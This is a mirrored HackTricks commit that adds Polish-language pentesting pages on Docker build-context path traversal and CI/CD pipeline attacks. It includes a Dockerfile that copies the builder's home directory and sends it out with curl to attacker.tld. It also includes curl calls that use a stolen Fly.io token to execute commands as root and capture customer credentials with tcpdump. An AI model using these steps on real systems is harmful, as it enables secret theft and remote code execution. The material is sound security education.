gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

Browse Source
This commit is contained in:
Translator
2025-10-25 16:08:22 +00:00
parent 41e85bc5e1
commit 654fa96b33
3 changed files with 151 additions and 197 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-ci-cd/docker-build-context-abuse.md
+101
View File
@@ -0,0 +1,101 @@
# Nadużywanie Docker Build Context w hostowanych builderach (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
Jeśli platforma CI/CD lub hosted builder pozwala contributorom określić ścieżkę build context i ścieżkę Dockerfile, często można ustawić context na katalog nadrzędny (np. "..") i uczynić pliki hosta częścią build context. Wówczas kontrolowany przez atakującego Dockerfile może użyć COPY i exfiltrate sekrety znalezione w katalogu domowym użytkownika buildera (np. ~/.docker/config.json). Skradzione registry tokens mogą też działać przeciwko providerowi poprzez control-plane APIs, umożliwiając org-wide RCE.
## Powierzchnia ataku
Wiele hostowanych usług builder/registry robi mniej więcej to przy budowaniu obrazów przesłanych przez użytkowników:
- Odczytuje konfigurację na poziomie repo, która zawiera:
- build context path (wysyłany do Docker daemon)
- Dockerfile path względny względem tego contextu
- Kopiuje wskazany katalog build context oraz Dockerfile do Docker daemon
- Buduje obraz i uruchamia go jako hostowaną usługę
Jeśli platforma nie kanonizuje i nie ogranicza build context, użytkownik może ustawić go na lokalizację poza repozytorium (path traversal), powodując, że dowolne pliki hosta czytelne dla build usera staną się częścią build context i będą dostępne do COPY w Dockerfile.
Praktyczne ograniczenia obserwowane w praktyce:
- Dockerfile musi znajdować się wewnątrz wybranego context path i jego ścieżka musi być znana z wyprzedzeniem.
- build user musi mieć dostęp do odczytu plików dołączonych do context; specjalne pliki urządzeń mogą zepsuć kopiowanie.
## PoC: Path traversal via Docker build context
Przykładowa złośliwa konfiguracja serwera deklarująca Dockerfile w katalogu nadrzędnym contextu:
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Notatki:
- Użycie ".." często odnosi się do katalogu domowego użytkownika builder (np. /home/builder), który zazwyczaj zawiera wrażliwe pliki.
- Umieść swój Dockerfile w katalogu repo (np. repo "test" → test/Dockerfile), tak aby pozostał w obrębie rozszerzonego kontekstu nadrzędnego.
## PoC: Dockerfile to ingest and exfiltrate the host context
```dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Typowe cele odzyskiwane z $HOME:
- ~/.docker/config.json (registry auths/tokens)
- Inne cache i pliki konfiguracyjne cloud/CLI (np. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Uwaga: Nawet jeśli w repozytorium znajduje się plik .dockerignore, podatny mechanizm wyboru kontekstu po stronie platformy nadal kontroluje, co zostanie wysłane do daemon. Jeśli platforma skopiuje wybraną ścieżkę do daemon zanim oceni .dockerignore w repozytorium, pliki hosta nadal mogą zostać ujawnione.
## Pivot w chmurze z nadmiernie uprzywilejowanymi tokens (przykład: Fly.io Machines API)
Niektóre platformy wydają pojedynczy bearer token, który można użyć zarówno dla container registry, jak i control-plane API. Jeśli exfiltrate'ujesz registry token, spróbuj go użyć przeciwko provider API.
Przykładowe wywołania API przeciwko Fly.io Machines API używające skradzionego tokena z ~/.docker/config.json:
Wypisz aplikacje w organizacji:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
Uruchom polecenie jako root wewnątrz dowolnej maszyny aplikacji:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Wynik: org-wide remote code execution we wszystkich hostowanych aplikacjach, jeśli token posiada wystarczające uprawnienia.
## Kradzież sekretów z kompromitowanych hostowanych usług
Mając exec/RCE na hostowanych serwerach, możesz pozyskać sekrety dostarczone przez klienta (API keys, tokens) lub przeprowadzić prompt-injection attacks. Przykład: zainstaluj tcpdump i przechwyć ruch HTTP na porcie 8080, aby wydobyć przychodzące poświadczenia.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Przechwycone żądania często zawierają poświadczenia klienta w nagłówkach, ciałach żądań lub parametrach zapytania.
## Źródła
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
{{#include ../banners/hacktricks-training.md}}
src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+50 -43
View File
@@ -1,4 +1,4 @@
# Metodologia Pentesting CI/CD
# Pentesting CI/CD Metodologia
{{#include ../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
## VCS
VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom **zarządzać swoim kodem źródłowym**. Najpopularniejszym jest **git** i zwykle znajdziesz firmy korzystające z niego na jednej z następujących **platform**:
VCS oznacza **Version Control System**, ten system pozwala deweloperom **zarządzać swoim kodem źródłowym**. Najbardziej powszechny to **git** i zazwyczaj znajdziesz firmy używające go na jednej z następujących **platform**:
- Github
- Gitlab
@@ -18,86 +18,93 @@ VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom **zarząd
## CI/CD Pipelines
CI/CD pipelines umożliwiają deweloperom **automatyzację uruchamiania kodu** w różnych celach, w tym budowy, testów i deployu aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez konkretne akcje**, takie jak pushy kodu, pull requesty lub zadania zaplanowane. Ułatwiają one usprawnienie procesu od developmentu do produkcji.
CI/CD pipelines umożliwiają deweloperom **automatyzację wykonywania kodu** w różnych celach, w tym budowania, testowania i wdrażania aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez określone akcje**, takie jak pushy kodu, pull requesty lub zadania zaplanowane. Ułatwiają one usprawnienie procesu od developmentu do produkcji.
Jednak te systemy muszą być **uruchamiane gdzieś** i zwykle wymagają **uprzywilejowanych poświadczeń do deployu kodu lub dostępu do wrażliwych informacji**.
Jednak te systemy muszą być **wykonywane gdzieś** i zwykle z **uprzywilejowanymi poświadczeniami do wdrażania kodu lub dostępu do wrażliwych informacji**.
## VCS Pentesting Methodology
## VCS Pentesting Metodologia
> [!NOTE]
> Nawet jeśli niektóre platformy VCS umożliwiają tworzenie pipeline'ów, w tej sekcji przeanalizujemy tylko potencjalne ataki na kontrolę nad kodem źródłowym.
> Nawet jeśli niektóre platformy VCS pozwalają tworzyć pipelines, w tej sekcji przeanalizujemy tylko potencjalne ataki na kontrolę kodu źródłowego.
Platformy zawierające kod źródłowy Twojego projektu przechowują wrażliwe informacje i trzeba być bardzo ostrożnym z uprawnieniami nadawanymi w obrębie tej platformy. Oto kilka powszechnych problemów na platformach VCS, które atakujący może wykorzystać:
Platformy przechowujące kod źródłowy projektu zawierają wrażliwe informacje i trzeba bardzo uważać na uprawnienia przyznawane w tej platformie. Oto kilka typowych problemów w platformach VCS, które atakujący może wykorzystać:
- **Leaks**: Jeśli Twój kod zawiera leaks w commitach i atakujący ma dostęp do repo (bo jest publiczne lub ma dostęp), może odkryć te leaks.
- **Access**: Jeśli atakujący może **uzyskać dostęp do konta na platformie VCS**, może zdobyć **większą widoczność i uprawnienia**.
- **Register**: Niektóre platformy pozwalają po prostu zewnętrznym użytkownikom na założenie konta.
- **SSO**: Niektóre platformy nie pozwalają na rejestrację, ale pozwalają każdemu zalogować się za pomocą ważnego SSO (np. atakujący mógłby użyć swojego konta github, żeby wejść).
- **Leaks**: Jeśli twój kod zawiera leak w commitach i atakujący może uzyskać dostęp do repo (bo jest publiczne lub ma dostęp), może odkryć te leak.
- **Access**: Jeśli atakujący może uzyskać dostęp do konta na platformie VCS, może zyskać **większą widoczność i uprawnienia**.
- **Register**: Niektóre platformy po prostu pozwalają zewnętrznym użytkownikom tworzyć konto.
- **SSO**: Niektóre platformy nie pozwalają na rejestrację, ale pozwalają na logowanie każdemu z ważnym SSO (więc atakujący mógłby użyć np. swojego github konta, aby wejść).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... istnieje wiele rodzajów tokenów, które użytkownik może ukraść, aby w jakiś sposób uzyskać dostęp do repo.
- **Webhooks**: Platformy VCS pozwalają tworzyć webhooks. Jeśli nie są **chronione** niewidzialnymi sekretami, **atakujący może je nadużyć**.
- Jeśli nie ma sekretu, atakujący może nadużyć webhooka platformy zewnętrznej.
- Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma ten sekret.
- **Code compromise:** Jeśli złośliwy aktor ma jakiś rodzaj **write** dostępu do repo, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może być konieczne **obejście ochrony gałęzi**. Te działania mogą być wykonywane z różnymi celami po drodze:
- Skompromitować gałąź main, aby **skompromitować production**.
- Skompromitować main (lub inne gałęzie), aby **skompromitować maszyny deweloperów** (ponieważ zwykle wykonują testy, terraform lub inne rzeczy w repo na swoich maszynach).
- **Compromise the pipeline** (zobacz następną sekcję)
- **Webhooks**: Platformy VCS pozwalają tworzyć webhooks. Jeśli nie są **chronione** przy pomocy sekretów niewidocznych, **atakujący może je wykorzystać**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** Jeśli złośliwy aktor ma jakiś rodzaj **write** dostępu do repos, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może musieć **obejść branch protections**. Te działania mogą być wykonane z różnymi celami:
- Skompromitować główną gałąź, aby **skompromitować produkcję**.
- Skompromitować main (lub inne branche), aby **skompromitować maszyny deweloperów** (ponieważ zwykle wykonują testy, terraform lub inne rzeczy z repo na swoich maszynach).
- **Skompromitować pipeline** (zobacz następną sekcję)
## Pipelines Pentesting Methodology
Najczęstszym sposobem definiowania pipeline'a jest użycie **pliku konfiguracyjnego CI hostowanego w repozytorium**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych jobów, warunki wpływające na flow oraz ustawienia środowiska budowy.\
Pliki te mają zwykle stałą nazwę i format, np. — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się pod .github/workflows. Po wyzwoleniu, job pipeline **pobiera kod** ze wskazanego źródła (np. commit / branch) i **uruchamia komendy określone w pliku konfiguracyjnym CI** na tym kodzie.
Najczęstszym sposobem definiowania pipeline jest użycie **CI configuration file hostowanego w repo**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych jobów, warunki wpływające na flow oraz ustawienia środowiska builda.\
Takie pliki zwykle mają spójną nazwę i format, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions w .github/workflows. Gdy są wyzwalane, job pipeline **pobiera kod** ze wskazanego źródła (np. commit / branch) i **uruchamia polecenia określone w CI configuration file** przeciwko temu kodowi.
Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **komendy, które one wykonują**.
Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **polecenia, które wykonują**.
> [!TIP]
> Niektórzy hostowani build-ersi pozwalają contributorom wybierać Docker build context i Dockerfile path. Jeśli context jest kontrolowany przez atakującego, możesz ustawić go poza repo (np. ".."), aby wciągnąć pliki hosta podczas builda i exfiltrate secrets. Zobacz:
>
>{{#ref}}
>docker-build-context-abuse.md
>{{#endref}}
### PPE - Poisoned Pipeline Execution
The Poisoned Pipeline Execution (PPE) path wykorzystuje uprawnienia w repozytorium SCM do manipulacji pipeline'em CI i uruchamiania szkodliwych poleceń. Użytkownicy z odpowiednimi uprawnieniami mogą modyfikować pliki konfiguracyjne CI lub inne pliki używane przez job pipeline, aby dodać złośliwe polecenia. To „truje” CI pipeline, prowadząc do wykonania tych złośliwych poleceń.
Poisoned Pipeline Execution (PPE) wykorzystuje uprawnienia w repo SCM do manipulacji CI pipeline i wykonania szkodliwych poleceń. Użytkownicy z odpowiednimi uprawnieniami mogą modyfikować CI configuration files lub inne pliki używane przez job pipeline, aby dodać złośliwe polecenia. To „zatrucie” CI pipeline prowadzi do wykonania tych złośliwych poleceń.
Aby złośliwy aktor odniósł sukces wykonując atak PPE, musi:
Aby złośliwy aktor mógł odnieść sukces w ataku PPE, musi:
- Mieć **write access to the VCS platform**, ponieważ pipeline'y zwykle są wyzwalane przy pushu lub pull requestcie. (Sprawdź VCS pentesting methodology dla podsumowania sposobów uzyskania dostępu).
- Zauważ, że czasami **zewnętrzny PR liczy się jako "write access"**.
- Nawet mając uprawnienia zapisu, musi mieć pewność, że może **zmodyfikować plik konfiguracyjny CI lub inne pliki, na których konfiguracja polega**.
- W tym celu może być konieczne **obejście ochrony gałęzi**.
- Mieć **write access do platformy VCS**, ponieważ zwykle pipeline są wyzwalane przy pushu lub pull requestcie. (Zobacz VCS pentesting methodology dla podsumowania sposobów na zdobycie dostępu).
- Zwróć uwagę, że czasami **external PR liczy się jako "write access"**.
- Nawet mając uprawnienia do zapisu, musi się upewnić, że może **zmodyfikować CI config file lub inne pliki, na których config polega**.
- W tym celu może wymagać umiejętności **obejścia branch protections**.
Są 3 odmiany PPE:
Istnieją 3 odmiany PPE:
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
- **Public PPE or 3PE**: W niektórych przypadkach pipeline'y mogą być **wyzwalane przez użytkowników, którzy nie mają write access w repo** (i którzy nawet mogą nie należeć do organizacji), ponieważ mogą wysłać PR.
- **3PE Command Injection**: Zwykle CI/CD pipeline'y będą **ustawiać zmienne środowiskowe** z **informacjami o PR**. Jeśli tę wartość może kontrolować atakujący (np. tytuł PR) i jest **używana** w **niebezpiecznym miejscu** (np. przy wykonywaniu **sh commands**), atakujący może **wstrzyknąć tam polecenia**.
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
### Exploitation Benefits
Znając 3 odmiany zatrucia pipeline'a, sprawdźmy, co atakujący może uzyskać po udanej eksploatacji:
Znając 3 odmiany zatrucia pipeline, sprawdźmy, co atakujący może uzyskać po udanej eksploatacji:
- **Secrets**: Jak wspomniano wcześniej, pipeline'y wymagają **uprawnień** do swoich jobów (pobrać kod, zbudować, zdeployować...) i te uprawnienia są zwykle **przyznawane w sekretach**. Te sekrety zwykle są dostępne przez **zmienne środowiskowe lub pliki w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej sekretów.
- W zależności od platformy pipeline atakujący **może musieć określić sekrety w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować konfiguracji CI (np. **I-PPE**), mógłby **wyeksfiltrować tylko sekrety, które ma dany pipeline**.
- **Computation**: Kod jest wykonywany gdzieś — w zależności od miejsca wykonywania atakujący może być w stanie pivotować dalej.
- **On-Premises**: Jeśli pipeline'y są wykonywane on-premises, atakujący może trafić do **sieci wewnętrznej z dostępem do większej ilości zasobów**.
- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także może **wyeksfiltrować** tokeny ról IAM/service accounts, żeby uzyskać **dalej idący dostęp w chmurze**.
- **Platforms machine**: Czasami joby będą wykonywane na **maszynach platformy pipelines**, które zwykle znajdują się w chmurze i mają **ograniczony dostęp**.
- **Select it:** Czasami **platforma pipeline będzie miała skonfigurowane różne maszyny** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W takiej sytuacji atakujący prawdopodobnie odpali reverse shell na każdej możliwej maszynie, aby spróbować dalej ją eksploatować.
- **Compromise production**: Jeśli jesteś wewnątrz pipeline'a i finalna wersja jest budowana i deployowana z niego, możesz **skompromitować kod, który trafi do produkcji**.
- **Secrets**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** dla swoich jobów (pobranie kodu, budowa, deploy...) i te uprawnienia są zwykle **przechowywane w secrets**. Te secrets są zwykle dostępne przez **zmienne środowiskowe (env variables) lub pliki w systemie**. Dlatego atakujący zawsze będzie próbował wyfiltrować jak najwięcej secrets.
- W zależności od platformy pipeline atakujący **może musieć określić secrets w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować CI configuration pipeline (**I-PPE** na przykład), mógłby **jedynie wyfiltrować te secrets, które ten pipeline posiada**.
- **Computation**: Kod jest wykonywany gdzieś; w zależności od miejsca wykonania atakujący może być w stanie dokonać pivotu dalej.
- **On-Premises**: Jeśli pipeline są wykonywane on-premises, atakujący może trafić do **sieci wewnętrznej z dostępem do większej liczby zasobów**.
- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także może **exfiltrate** IAM roles/service accounts **tokens** z chmury, aby uzyskać **dalszy dostęp wewnątrz chmury**.
- **Platforms machine**: Czasami joby będą wykonywane na **maszynach platformy pipelines**, które zwykle są w chmurze i **nie mają dalszego dostępu**.
- **Select it:** Czasami **platforma pipelines ma skonfigurowane wiele maszyn** i jeśli możesz **zmodyfikować CI configuration file** możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W takiej sytuacji atakujący prawdopodobnie uruchomi reverse shell na każdej możliwej maszynie, aby spróbować ją dalej wykorzystać.
- **Compromise production**: Jeśli jesteś w pipeline i końcowa wersja jest zbudowana i wdrażana z niego, możesz **skompromitować kod, który ostatecznie zostanie uruchomiony w produkcji**.
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytu Twojego stacku software supply chain pod kątem zgodności bezpieczeństwa, oparte na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu tworzenia kodu po czas jego deployu.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) jest narzędziem open-source do audytu Twojego software supply chain stack pod kątem zgodności bezpieczeństwa na bazie nowego [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt skupia się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodu do czasu wdrożenia.
### Top 10 CI/CD Security Risk
Sprawdź ciekawy artykuł o top 10 ryzyk CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Sprawdź ciekawy artykuł o top 10 ryzykach CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcję jak ją uruchomić lokalnie, abyś mógł skonfigurować ją tak, jak chcesz do testów
- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcje jak ją uruchomić lokalnie, aby skonfigurować ją według własnych potrzeb i testować.
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to narzędzie do statycznej analizy kodu dla infrastructure-as-code.
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** jest narzędziem do statycznej analizy kodu dla infrastructure-as-code.
## References